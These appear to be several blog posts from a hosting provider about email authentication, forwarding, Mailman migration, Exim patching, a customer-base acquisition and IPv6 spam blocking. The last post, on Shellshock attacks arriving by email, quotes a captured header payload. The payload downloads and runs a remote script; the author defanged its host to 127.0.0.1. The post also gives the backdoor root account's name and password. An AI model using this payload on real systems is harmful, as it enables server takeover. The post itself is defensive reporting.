Modern email involves a confusing array of different acronyms. Most of these are attempts to fix the problem of email being fundamentally insecure, with no way to authenticate the sender of an email. The remainder are attempts to fix the new problems created by attempting to fix the first problem.

This blog post tries to provide a concise glossary of these different technologies, and the associated DNS records and URLs needed to make them go.

CAT is not yet an email-related acronym

SPF: Sender Policy Framework

Publish a list of servers that are allowed to send mail from your domain.

SPF is published as a DNS TXT record for the domain itself (an apex record), which states which servers are allowed to send mail from your domain. For example:

example.com. IN TXT "v=spf1 include:_spf.mythic-beasts.com ~all"

SPF breaks email forwarding, unless you use SRS. SPF only restricts the “envelope sender”, which is not normally visible to end users.

SRS: Sender Rewriting Scheme

Rewrite sender addresses when forwarding mail in order to avoid failing SPF checks.

SRS is a technique used when forwarding email that replaces the original sender address with an address in your own domain. SRS only affects the envelope sender, which is not normally visible to end users. SRS allows email forwarding to work with SPF.

DKIM: DomainKeys Identified Mail

Digitally sign email envelopes.

Public keys are published in DNS records, allowing recipients to verify that the email is authentic. Public keys are published as TXT records within the _domainkey subdomain. For example:

mythic-beasts-k1._domainkey.example.com. IN TXT "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG...."

The first part of the hostname is a unique identifier for the key. The signature is added to the email as a DKIM-Signature header. The header includes a field (the s field) with the name of the key used to sign the message.

DMARC: Domain-based Message Authentication, Reporting and Conformance

Tell recipients to reject email from your domain if it isn’t DKIM signed and doesn’t pass SPF.

DMARC is a mechanism that allows a domain owner to assert that all email sent will pass either DKIM or SPF validation, and if it doesn’t recipients should reject it. Subtly changes SPF behaviour so that it binds the “From” address (which is the one that users usually see) rather than the envelope sender. Breaks email forwarding even with SRS unless messages are DKIM signed. Example DMARC record:

_dmarc.example.com. IN TXT "v=DMARC1; p=reject; rua=postmaster@example.com"

ARC: Authenticated Received Chain

Enable mailing lists to forward DKIM-signed emails.

ARC allows a system that forwards mail to provide a digitally-signed summary of the results of SPF, DKIM and DMARC validation at the point thta it was received by the forwarding server. This enables the intermediary system to make changes to the message (such as adding a mailing list footer) that will break the original DKIM signature, but still allow the final receiver to verify its integrity. ARC relies on recipients trusting the intermediary. ARC uses the same DNS-published DomainKeys as DKIM.

DANE: DNS-based Authentication of Named Entities

Publish TLS certificates in DNS, and require TLS when connecting to your servers.

DANE is not specific to email, but it can be used to enforce the use of secure TLS connections when mail servers talk to each other. In the absence of DANE, mail servers will generally try to use TLS if possible, but fall back on an insecure connection if it doesn’t work. By publishing a TLSA DNS record, domains can enforce that TLS is used when delivering mail to the servers listed in its MX records. DANE relies on DNSSEC, and also provides an alternative to Certificate Authority-based authentication of TLS certificates.

MTA-STS: Mail Transfer Agent Strict Transport Security

Require TLS when connecting to your servers by publishing a policy at a well known URL.

MTS-STS allows you to require secure TLS connections when mail servers connect to your server by publishing a machine-readable policy at a well-known URL (https://example.com/.well-known/mta-sts.txt). MTA-STS is an HTTPS-based alternative to the TLS-enforcement part of DANE.

While it’s Spam™ rather than spam, the proportion is about right.
(Image from Eduardo Unda-Sanzana from Antofagasta, Chile, CC BY 2.0 via Wikimedia Commons).

A History Lesson

Back in the mists of time, not that long ago, you could happily forward email to another account sending all your email to a single mailbox and replying through your internet provider’s SMTP server with whatever address you wanted as the sender.

Unfortunately, back in the 1970s, someone realised you could send that new fancy ‘electronic mail’ to people you didn’t know. The few hundred users affected were rather negative about it, and it didn’t really catch on. But, within a couple of decades, the ARPANET became the Internet, and unsolicited email started to become annoying.

With the ‘Information Superhighway’ appearing in the mid 90s and the growth of personal computers, the Internet started to grow rapidly, and ‘spamming’ (a term adopted from Usenet) became more common.

Blacklists and whitelists were developed, with lists of known spammer email addresses and IPs which were known to send spam, but the fact is that email addresses could be trivially faked, and there were always other servers to send mail through.

Over the years there have been various different approaches to authenticating email senders, but it’s a continual arms race. Spam remains a problem, as does the plethora of scams and fraud that are enabled by the ease with which email can be forged.

SPF & SRS

In the early 2000s,  ‘Sender Policy Framework’ (SPF) started to gain traction. SPF works by publishing a DNS record that declares which servers are allowed to send mail from your domain.

Unfortunately, SPF had two fatal flaws:

1. Pretty much by design, it breaks email forwarding. You can’t, for example, use our servers to simply forward mail to your Gmail account, because our servers aren’t allowed to send mail from the original sender’s domain.
2. SPF restricts the envelope sender, which is the hidden address that bounce messages get sent to. The one that users actually see in their mail client – the “From” address – is still unrestricted!

(1) could be fixed by another Three Letter Acronym: SRS or ‘Sender Rewriting Scheme’. As the name suggests, this replaces the original sender address with a different address in your own domain, and because this sender is usually hidden, the received mail looks no different. We’ve supported SRS forwarding on our servers for a long time, and until recently, it worked well.

(2) was a trickier problem, which we’ll come back to…

DKIM

In the 2010s and with processing becoming cheaper, ‘DomainKeys Identified Mail’ (DKIM) also appeared, which electronically signs the mail so that the remote server can verify the signature. The public keys are published in the sender’s domain’s DNS, so recipients can verify that mail came from the claimed sender.

DMARC

The issue with DKIM is that it’s not universally adopted, so whilst you can check if a signed mail is legitimate, you can’t assume that an unsigned email isn’t. Enter yet another acronym: DMARC (‘Domain-based Message Authentication, Reporting and Conformance’).  DMARC allows a domain-owner to publish yet another DNS record which says “all my mail will either be DKIM signed, or pass SPF, or both, and if it isn’t, bin it!”

Adoption of DMARC has been slow, not helped by the fact that publishing a strict DMARC policy in 2014 broke just about every mailing list of the time. Fast-forward ten years, mailing lists have learned to adapt, and the big mail providers are pushing the world towards DMARC. Gmail, probably the largest free email provider, now requires either SPF or DKIM to be enabled on a domain in order for them to accept any mail from it, and if you’re sending bulk email, you need a DMARC record too.

The Effect On Forwarding Mail

While these measures have all helped greatly to combat spam, with a large proportion of it now coming from compromised servers or mailboxes, it’s had some down-sides, the most obvious of which is difficulty in forwarding email.

Lots of our customers like to register a domain with us, set up some email addresses in that domain, and forward them to existing email accounts at other providers, such as Gmail or Yahoo. We also host lots of clubs and other organisations that have role-based addresses (like “treasurer@myclub.org”) that forward to the person currently doing that role, and mail expanders like “committee@myclub.org” that forward to a handful of people.

DMARC alignment

SPF is now widely adopted and, as noted above, you used to be able to work around the issue that it creates for forwarding using SRS.

But, one of the subtle features of DMARC is that it quietly fixes problem (2) with SPF. In order to pass SPF in a way that makes DMARC happy, the hidden sender address that SPF restricts has to be in the same domain as the visible “From” address (this is called “alignment”).

• If you forward without SRS, the messages that you forward will fail an SPF check.
• If you forward with SRS, the messages will technically pass SPF, but DMARC will call it a fail because the sender and from addresses don’t match.

In other words, there is no way to pass a DMARC check using SPF when forwarding mail. You have to rely on DKIM, and hope that forwarding mail (with or without SRS) doesn’t break DKIM.

You would hope that senders wouldn’t publish a strict DMARC policy without first ensuring that all of their outbound mail is DKIM-signed, but you may be disappointed, and with mail providers increasingly enforcing DMARC policies, mail forwarding has become less and less reliable.

Yet another acronym – ARC – promises to fix mail forwarding, but it’s not a magic bullet. We’ll discuss that another time.

Of course, forwarding mail works fine if you’re in control of the server you’re forwarding to, and can whitelist the server doing the forwarding, but that’s not common. Most people want to forward to providers like Gmail where they have no such control.

For some platforms there is a workaround; rather than forwarding mail, have the platform collect it from a mailbox using POP3 or IMAP.  For example, Gmail have their “check messages from other accounts” functionality in their mailboxes, which picks up you mail from a mailbox as if it’s been received by the Gmail mailbox directly, and other platforms are adding similar options.

This works well enough for personal email addresses, but it’s a lot more hassle for things like role-based addresses at emails at clubs and societies, and doesn’t work at all for mail expanders where multiple recipients need to collect the mail.

This is why we can’t have nice things.

Humankind has been carefully storing past knowledge for a very long time.

At the end of July, Debian 10 (Buster) reached end-of-life, and with it, all mainstream support for Python 2. The Python Software Foundation actually ended support for Python 2 on 1st January 2020, but it’s remained in Debian until now because a small number of important packages depend on it.

One of those packages is Mailman 2, a widely-used mailing list manager.  For various reasons, many projects using Mailman 2 have resisted upgrading to its successor, Mailman 3.  With Debian 10 reaching end-of-life, we’re seeing renewed interest in this migration.

One of the barriers to migrating to Mailman 3 is that the upgrade breaks links to messages in the mailing list archives.  There are links all over the internet to messages in Mailman 2 list archives, and for many projects, breaking these links would be a significant loss.

We’ve recently done some Mailman 2 to 3 migrations, and as part of this, we developed our own solution to preserving archive URLs.  We created a script that trawls Mailman 2 archives and creates a map of old URLs in the Mailman 2 archives to the corresponding URL in the Mailman 3 archives.  This can be used by Apache’s mod_rewrite to generate redirects for the old URLs.   The map can be converted to a DBM file for more efficient lookups.  This is important for archives containing many thousands of URLs.

We’ve made the mailman-archive-mapper script freely available on GitHub.

We offer mailman as a managed application.

We sponsor exim and provide a VM for their buildfarm.

Recently Trend Micro, through their Zero Day Initiative, published a critical flaw for the Exim mail server. It’s described as allowing remote attackers to execute arbitrary code on the Exim server without authentication. On the face of it, any server running Exim and listening on the internet can immediately be taken over by an attacker. What makes this worse is that they claim they reported this in June 2022, and the Exim team have ignored fixing it.

ZDI say ‘The only salient mitigation strategy is to restrict interaction with the application.’ and have allocated a scarily high severity score of 9.8/10.

Mythic Beasts make pretty heavy use of Exim in our mail infrastructure, and mitigating the security risk by turning off email is a pretty severe step while we wait for a fix. On top of that amongst servers we manage for ourselves and clients there’s nearly a thousand installed copies of Exim that will need to be updated.

The Exim team have a different view on the severity, as do other reputable security specialists. Watchtowr have a nice write-up explaining that, by default, none of the six issues can be exploited. Cross checking to Mythic Beasts mail infrastructure we can quickly confirm we’re not affected, and we believe that none of the managed customers should be either.

As this is now not especially time critical, we can wait for the supported operating systems to release updated packages which we can install.

Patching

The security issue is definitely significant enough to meet our 0-day policy of patching immediately as it’s network listening software with a risk of compromise. Debian released packages with the most important fixes on Monday 2nd October. Because this issue covers a very large number of affected machines, some of which are absolutely critical we decided to stage the rollout. First we did our staging servers, then one of our core mailhubs. We then paused for a short while to check no functionality was affected. Then we completed the full roll-out to all managed servers both customer and internal. The final step is our audit – recheck the Exim package on every managed server to make sure the update had applied everywhere. The full rollout and audit completed in around three hours.

We’re expecting updated packages from Ubuntu shortly, which will then be rolled out to all supported managed Ubuntu customers when available.

A Mythic Beast eating a Retrosnub (artists impression)

Just before Christmas we were approached by Malcolm Scott, director of Retrosnub, a small cloud hosting provider in Cambridge. His existing connectivity provider had run out of IPv4 addresses. They’d decided to deal with this issue by adding charges of £2 per IPv4 address per month to encourage existing customers to return unused IPv4 addresses to them. As a cloud hosting provider with a substantial number of virtual machines (VMs) on a small number of hosts this had the result of tripling the monthly colocation bill of Retrosnub.

Aware of my presentation on IPv6-only hosting at UKNOF, Malcolm knew that opportunities for significant expansion were severely limited due to the difficulty of obtaining large amounts of IPv4 address space. Retrosnub faced a future of bankruptcy or remaining a very niche provider. His connectivity providers seemed strongly in favour of Retrosnub going bust so they could reclaim and re-sell the IPv4 space for higher margin services.

There are no expansion opportunities for new cloud hosting providers.

As a larger provider with our own address space, we had sufficient spare capacity in our virtual machine cloud to absorb the entire customer base of Retrosnub with no additional expenditure. Our work in supporting IPv6-only virtual machines will also make it easier to significantly reduce the number of IPv4 addresses required to support Retrosnub services. We formed a deal and agreed to buy the customer base of Retrosnub.

Combining operations

Since agreeing the deal, we’ve been working hard to merge our operations with minimum disruption.

The top priority was the domain name services because domains expire if you don’t renew them. Doing a bulk transfer of domain names between registrars is something which Nominet, the body responsible for UK domains, makes extremely easy, as it just requires changing the “tag” on all the domains.

Unfortunately, just about all other TLDs follow a standard ICANN process, which requires that a domain be renewed for a year at the time of transfer, and that the owner of the domain approves the process. If you were designing a process to destroy competition in a market by making it hard for resellers to move between registrars, it would look quite like this.

We’ve now got the bulk of domains transferred, and the next steps will be to migrate the DNS records from Retrosnub to Mythic Beasts so that our control panel can be used to change the records.

At the same time, we rapidly formulated a plan to migrate all the virtual machines in to stem the financial losses. Moving the VMs required an unavoidable change in IP address, and we also wanted to get them migrated from their current platform (Citrix Xenserver with para-virtualisation) to our own platform (KVM with full hardware virtualisation).

In order to ease the transition, we arranged for a pair of servers to do IP forwarding: a server in our cloud that forwarded the new IP to the VM in the Retrosnub cloud until it was migrated in, and another in the Retrosnub cloud that forwarded the old IP after the server had been moved. By doing this we were able to give customers a one week window in which to complete their IP migration, rather than forcing it to be done at the time that we actually moved the VM.

In the process of this migration, all customers received a significant bandwidth upgrade and majority received disk, RAM and CPU upgrades too.

We completed this on schedule before the quarterly colocation bill arrived, so instead of paying the much increased bill, we cancelled the contract and removed the servers from the facility.

Next steps

Our next step will be to migrate all the web and email hosting customers into our standard shared hosting environment. This has some time pressure as Google have plans for Chrome to start marking all non-HTTPS websites as insecure. We offer one click HTTPS hosting using Let’s Encrypt on all of our hosting accounts.

tl;dr: SRS changes the sender address when you forward email so it doesn’t get filed as spam.

We’ve just deployed an update to our hosting accounts that allows you to enable Sender Rewriting Scheme when forwarding mail for your domain.

We’ve previously mentioned how we’re seeing increased adoption of Sender Policy Framework (SPF), a system for ensuring that mail from a domain only comes from authorised servers. Whilst this may or may not reduce spam, it does very reliably break email forwarding.

If someone at sender.com sends you an email to you at yourdomain.com and you forward it on to your address at youremailprovider.com, the email that arrives at your final address will come from the mail server hosting yourdomain.com which almost certainly isn’t listed as a valid sender in the SPF record for sender.com.  Your email provider may reject the mail, or flag it as “untrusted”.

To fix this, we need a different TLA: SRS, or Sender Rewriting Scheme. As the name suggests, this rewrites the sender address of a forwarded email, from one in a domain that you don’t control (sender.com) to one that you do (yourdomain.com).

In the example above, the actual rewritten address would be something like:

SRS0-9oge=B5=sender.com=them@yourdomain.com

This includes an encoded version of the original address, and any email sent to it will be routed back to the sender.  This means that any bounces messages will end up in the right place.

The sender and recipient in these examples refer to the “envelope” sender and receiver.  The addresses that are normally visible to users are the “from” and “to” headers, which may be different and are unaffected by sender rewriting.  Applying SRS should be invisible to the end users.

SRS is now available as an option whenever you create or edit a forwarder using the customer control panel for email accounts hosted on our main hosting servers.  If your account is hosted on sphinx, we need to do a little extra magic to enable it, so please email support.

Sender Policy Framework (SPF) has been around for a while, but recently we’ve seen email providers getting much more active in using it to filter mail. Most notably, Gmail appearing to be flagging mail from all domains without an SPF record as untrusted.

In a nutshell, SPF allows you to publish a DNS record that declares a list of all of the mail servers that may legitimately send mail from your domain. It’s not perfect, but it’s a useful tool in reducing email with a forged sender address.

Getting SPF records right can be a bit tricky, but for domains hosted with Mythic Beasts that send mail exclusively via our mail servers, you can now add the correct SPF record with a single click.

One-click SPF enablement

The SPF settings are available on the domain pages in our control panel.

We’d love to make it even easier and just add the record for you, but we can’t be sure that customers are only using our mail servers to send mail, and if not, adding the record will make things worse, although we are planning to add this record by default for newly hosted domains.

It’s worth noting that SPF does not cause problems when sending mail via mailing lists as all decent mailing list software will use its own sender address rather than yours. You may be aware of a change made by Yahoo! that caused considerable problems for mailing lists, but this was related to another system, DMARC, which builds on top of SPF. SPF on its own works just fine with mailing lists.

0. We sell domain names

OK, we lied, it’s six reasons, but the first probably isn’t very compelling so let’s get it out of the way first: buying domains gives us beer money.

Obviously we’ve got a commercial interest here, but Mythic Beasts exists because a bunch of students spotted that their university-provided email addresses would stop working once they graduated. We’ve now had the same personal email addresses for over 15 years.

1. Provider independence

This is the big one. Changing your email address is a massive pain. Not only do you need to tell all your human correspondents about your new address, but you need to tell just about every site that you’ve ever logged on to. Most sites use your email address to identify you, and that’s the only address that you can get a password reset sent to if you forget it.

Not so long ago, many people used the “free” addresses provided by their broadband (or dial-up) provider. This had the obvious problem that changing broadband providers meant changing your email address. Having your own domain puts you in control.

2. Real provider independence

Realising the problem of having your email address tied to your connectivity provider, many people have switched to using an address from a free email provider such as Gmail or Yahoo!, but this is really just moving the same problem elsewhere: your email address is now tied to your email provider.

What happens when you get fed up with the amount of advertising you’re exposed to in order to fund your “free” email account? Or your provider changes their email policy in a way that causes your address to be banned from mailing lists? Or you discover that the provider’s anti-spam policy is binning your legitimate email? Or they simply change their web interface in a way that you don’t like?

By using your own domain name, you retain choice of email provider.

3. Disposable addresses

It’s hard to do anything online without being asked to provide an email address, but how can you trust that your address isn’t going to be added to a spam list? If you have your own domain, you can have as many addresses as you want. You can even have “wildcard” addresses so that you can make up new addresses on the spot. For example, if my address is paul@example.com and I want to sign up to a service at www.somedodgysite.com, I could invent an address of:

paul-somedodgysite@example.com

If I start getting spam sent to that address then firstly, I know which site lost or sold my details and secondly, I can easily setup a rule to bin all mail to that address.

4. More interesting and memorable addresses

Unless you’re lucky enough to have a particularly uncommon name, any address you can get at the big free mail providers is likely to be some complex variant of your name. With your own domain name, you’ve got complete control. You could even have just a single letter such as p@example.com.

This also means that it’s less likely that your email will end up in someone else’s inbox by mistake. If one of your friends forgets that you’re joebloggs1937@gmail.com rather than just joebloggs@gmail.com, the email will get delivered to someone else. With your own domain, it’s far more likely that typo-ed addresses will get bounced, and the sender will notice the mistake.

5. Domains are cheap

EDIT 22/2/2020 – prices have gone up since this post was written, but domains are still cheap.

We sell UK domains for just £6+VAT £12+VAT for two years. £3.75 £7.20 is a year is a tiny price to pay for being in control of your own online identity. There’s also now a huge variety of generic top-level domains that can be had for not much more – .beer, .bike, .click, .cymru, .engineer, .guru, .scot, .wales, .wtf and hundreds more.

Of course, to use your domain, you’ll need somewhere to host it. We can sell you a hosting account too, but you don’t have to use us if you don’t want to. That’s the point!

Every now and again, one of our users will either get their SMTP credentials stolen, or will get a machine on our network compromised. More often than not, the miscreants responsible will then proceed to send a whole bunch of adverts for V1@gr@ or whatever through our mail servers. This typically results in our mail servers getting (not unreasonably) added to various blacklists, which affects all our users, creates work for us and generally makes for sad times.

We’ve got various measures to counter this, one of which relies on the fact that spam lists are typically very dirty and will generate a lot of rejections. We can use this fact to freeze outgoing mail for a particular user or IP address if it is generating an unreasonable number of delivery failures. The approach we use is based on the, generally excellent, Block Cracking config.

Unfortunately, both we, and the author of the above, overlooked what happens when you start adding IPv6 addresses to a file which uses “:” as its key/value separator, such as that used by Exim’s lsearch lookup. Yesterday evening, a customer’s compromised machine started a spam run to us over IPv6.

Our system raises a ticket in our support queue every time it adds a new IP to our block list so that we can get in touch with the customer quickly. Unfortunately, if the lookup doesn’t work because you haven’t correctly escaped an IPv6 address, it’ll happily keep adding the same IP for each spam email seen, and raising a new ticket each time. Cue one very busy support queue.

Needless to say, the fix was simple enough, but the moral, if there is one is a) test everything that you do with both IPv6 and IPv4 and b) start preparing for IPv6 now, as it’s going to take you ages to find everything that it breaks.

Code making assumptions about what an IP address looks like that will be broken by IPv6 are almost certainly more prevalent than 2-digit year assumptions were 15 years ago.

We’ve already written about ShellShock, a vulnerability in bash.

Now we patched our systems quickly against it because we were aware that it looked easy to exploit and there were a great many different paths by which a piece of untrusted user input could arrive at a bash shell and exploit it. We’d seen several attacks over the web almost immediately, but now we’ve seen them starting to arrive by email.


To:() { :; }; /bin/sh -c '/bin/sh -c 'cd /tmp ;curl -sO
127.0.0.1/ex.sh;lwp-download http://127.0.0.1/ex.sh;wget
127.0.0.1/ex.sh;fetch 127.0.0.1/ex.sh;sh ex.sh;rm -fr ex.*' &'
&;
References:() { :; }; ...payload...
Cc:() { :; }; ...payload...
Bcc:() { :; }; ...payload...
From:() { :; }; ...payload...
Subject:() { :; }; ...payload...
Date:() { :; }; ...payload...
Message-ID:() { :; }; ...payload...
Comments:() { :; }; ...payload...
Keywords:() { :; }; ...payload...
Resent-Date:() { :; }; ...payload...
Resent-From:() { :; }; ...payload...


I’ve de-fanged the exploit by changing the IP address. The script downloaded adds a root user called inetd with a password of Inetd1!@#, to the machine, neatly giving a remote shell on any machine it succeeds on. The webserver logs will handily hold the IP addresses of all the infected machines. So all you need now is a nasty piece of spamming software to try and send a message through every mail server in the world and you’ve built a spam network consisting entirely of legitimate mailservers, or if you’re a government spying agency – the ability to intercept vast quantities of email with ease.

Note: It’s been commented that this only affects you if your mail server is running as root. That’s not true – imagine that it’s an email for root@the-mail-server-host which goes into a mail filter that calls out to a shell, not to mention depositing root exploits into logfiles that might get processed. There’s a vast number of subtle ways that this could end up in a copy of bash running as root.